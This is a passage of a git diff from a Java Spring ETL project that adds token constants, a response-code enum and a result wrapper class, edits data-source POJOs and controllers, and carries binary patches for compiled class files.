*/ public static final String TOKEN = "token"; + /** + * 令牌自定义标识 + */ + public static final String AUTHENTICATION = "Authorization"; + /** + * 令牌前缀 + */ + public static final String PREFIX = "Bearer "; } diff --git a/etl-common/src/main/java/com/etl/common/enums/ResponseCodeEnum.java b/etl-common/src/main/java/com/etl/common/enums/ResponseCodeEnum.java new file mode 100644 index 0000000..cd65e20 --- /dev/null +++ b/etl-common/src/main/java/com/etl/common/enums/ResponseCodeEnum.java @@ -0,0 +1,29 @@ +package com.etl.common.enums; + +public enum ResponseCodeEnum { + + SUCCESS(200, "成功"), + FAIL(412, "失败"), + LOGIN_ERROR(202, "用户名或密码错误"), + + UNKNOWN_ERROR(500, "未知错误"), + PARAMETER_ILLEGAL(400, "参数不合法"), + + TOKEN_INVALID(412, "token 已过期或验证不正确!"), + TOKEN_SIGNATURE_INVALID(403, "无效的签名"), + TOKEN_MISSION(403, "token 缺失"), + REFRESH_TOKEN_INVALID(412, "refreshToken 无效"), + LOGOUT_ERROR(444, "用户登出失败"); + private final int code; + private final String message; + ResponseCodeEnum(int code, String message) { + this.code = code; + this.message = message; + } + public int getCode() { + return code; + } + public String getMessage() { + return message; + } +} diff --git a/etl-common/src/main/java/com/etl/common/result/CommonResult.java b/etl-common/src/main/java/com/etl/common/result/CommonResult.java new file mode 100644 index 0000000..b771fdb --- /dev/null +++ b/etl-common/src/main/java/com/etl/common/result/CommonResult.java @@ -0,0 +1,22 @@ +package com.etl.common.result; + +import lombok.AllArgsConstructor; +import lombok.Data; +import lombok.NoArgsConstructor; + +@Data +@AllArgsConstructor +@NoArgsConstructor +public class CommonResult{ + private Integer code; + private String message; + private T data; + private int dataSize; + + public CommonResult(Integer code,String message){ + this(code,message,null,0); + } + public CommonResult(Integer code,String message,T data){ + this(code,message,data,0); + } +} diff --git a/etl-common/target/classes/com/etl/common/constants/TokenConstants.class b/etl-common/target/classes/com/etl/common/constants/TokenConstants.class index a4da1a3930fc8689bd81226173b614c199a39810..b845155e61ed5de554f6dab0408c277db9d685c0 100644 GIT binary patch delta 214 zcmeBSdB!4o>ff$?3=9k=460lV%nWku4D##@3KK=MbrcyHSVR21UHv#1lo%QK9797q zT>U~kogG6w{efc2j0|i6L9T9|5gZIE6MLpIi!z8!R$&ZPVPxQSEG@~%FUqV+EXmBz zV`N}=N=++l^7}$Yo85nrLY*q#-25BIVkwFGXGBL;k00HeE5&!@I delta 141 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 literal 0 HcmV?d00001 diff --git a/etl-data-source/el-data-source-common/src/main/java/com/etl/data/source/common/pojo/DataSource.java b/etl-data-source/el-data-source-common/src/main/java/com/etl/data/source/common/pojo/DataSource.java index 483e507..718e908 100644 --- a/etl-data-source/el-data-source-common/src/main/java/com/etl/data/source/common/pojo/DataSource.java +++ b/etl-data-source/el-data-source-common/src/main/java/com/etl/data/source/common/pojo/DataSource.java @@ -4,6 +4,7 @@ import com.baomidou.mybatisplus.annotation.IdType; import com.baomidou.mybatisplus.annotation.TableField; import com.baomidou.mybatisplus.annotation.TableId; import com.baomidou.mybatisplus.annotation.TableName; +import io.swagger.models.auth.In; import lombok.Data; import javax.validation.constraints.NotEmpty; @@ -19,9 +20,6 @@ public class DataSource{ @TableId(type = IdType.AUTO) private Long id; - @NotNull(message = "数据源id不能为空") - private Long dataSourceId; - @NotEmpty(message = "数据源描述不能为空") private String dataSourceDescribe; @@ -51,4 +49,5 @@ public class DataSource{ private Integer dataSourceType; @TableField(exist = false) private String dataSourceTypeName; + } diff --git a/etl-data-source/el-data-source-common/src/main/java/com/etl/data/source/common/pojo/DatabaseConfig.java b/etl-data-source/el-data-source-common/src/main/java/com/etl/data/source/common/pojo/DatabaseConfig.java index 27c41a3..f9b0aab 100644 --- a/etl-data-source/el-data-source-common/src/main/java/com/etl/data/source/common/pojo/DatabaseConfig.java +++ b/etl-data-source/el-data-source-common/src/main/java/com/etl/data/source/common/pojo/DatabaseConfig.java @@ -31,6 +31,7 @@ public class DatabaseConfig { private String tableName; @ApiModelProperty(value = "数据库库名") private String warehouseName; - + @ApiModelProperty(value = "数据表输入输出状态 0:输入 1:输出") + private Integer data; } diff --git a/etl-data-source/el-data-source-common/src/main/java/com/etl/data/source/common/pojo/Task.java b/etl-data-source/el-data-source-common/src/main/java/com/etl/data/source/common/pojo/Task.java index c9993fc..2a7101e 100644 --- a/etl-data-source/el-data-source-common/src/main/java/com/etl/data/source/common/pojo/Task.java +++ b/etl-data-source/el-data-source-common/src/main/java/com/etl/data/source/common/pojo/Task.java @@ -1,8 +1,8 @@ package com.etl.data.source.common.pojo; +import com.baomidou.mybatisplus.annotation.TableName; import io.swagger.annotations.ApiModel; import io.swagger.annotations.ApiModelProperty; -import javax.persistence.*; import lombok.Data; import lombok.NoArgsConstructor; import java.util.Date; @@ -12,10 +12,10 @@ import java.util.Date; */ @Data @NoArgsConstructor +@TableName("task_manager") @ApiModel(value = "Task", description = "任务实体类") public class Task { - @ApiModelProperty(value = "主键ID", example = "1") private Integer id; diff --git a/etl-data-source/el-data-source-common/target/classes/com/etl/data/source/common/pojo/DataSource.class b/etl-data-source/el-data-source-common/target/classes/com/etl/data/source/common/pojo/DataSource.class index d7906899aa59cd446f34afced8a5814ca68a748d..cb783eb867624e2f6360cecb7762640c36a1fb78 100644 GIT binary patch literal 7858 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 diff --git a/etl-data-source/el-data-source-common/target/classes/com/etl/data/source/common/pojo/DatabaseConfig.class b/etl-data-source/el-data-source-common/target/classes/com/etl/data/source/common/pojo/DatabaseConfig.class index 350a6fdceec9833359e8ee62b9b1cb0da9d179cb..18e8ab2dc80f3174fe15d7f12e7c98df53c2b4d4 100644 GIT binary patch literal 5283 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 Xil-0?zu|w3l3@Lb;ThVKqi6pI?Bs6b literal 0 HcmV?d00001 diff --git a/etl-data-source/el-data-source-server/src/main/java/com/etl/data/source/server/controller/DataSheetController.java b/etl-data-source/el-data-source-server/src/main/java/com/etl/data/source/server/controller/DataSheetController.java index a55991f..12b10ce 100644 --- a/etl-data-source/el-data-source-server/src/main/java/com/etl/data/source/server/controller/DataSheetController.java +++ b/etl-data-source/el-data-source-server/src/main/java/com/etl/data/source/server/controller/DataSheetController.java @@ -3,6 +3,7 @@ package com.etl.data.source.server.controller; import com.etl.data.source.server.service.DataSheetService; import io.swagger.annotations.Api; import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RestController; /** @@ -16,4 +17,6 @@ import org.springframework.web.bind.annotation.RestController; public class DataSheetController { @Autowired private DataSheetService dataSheetService; + + } diff --git a/etl-data-source/el-data-source-server/src/main/java/com/etl/data/source/server/controller/DatabaseController.java b/etl-data-source/el-data-source-server/src/main/java/com/etl/data/source/server/controller/DatabaseController.java index 9e0ab85..4672c1a 100644 --- a/etl-data-source/el-data-source-server/src/main/java/com/etl/data/source/server/controller/DatabaseController.java +++ b/etl-data-source/el-data-source-server/src/main/java/com/etl/data/source/server/controller/DatabaseController.java @@ -5,6 +5,7 @@ import com.etl.data.source.common.config.Limit; import 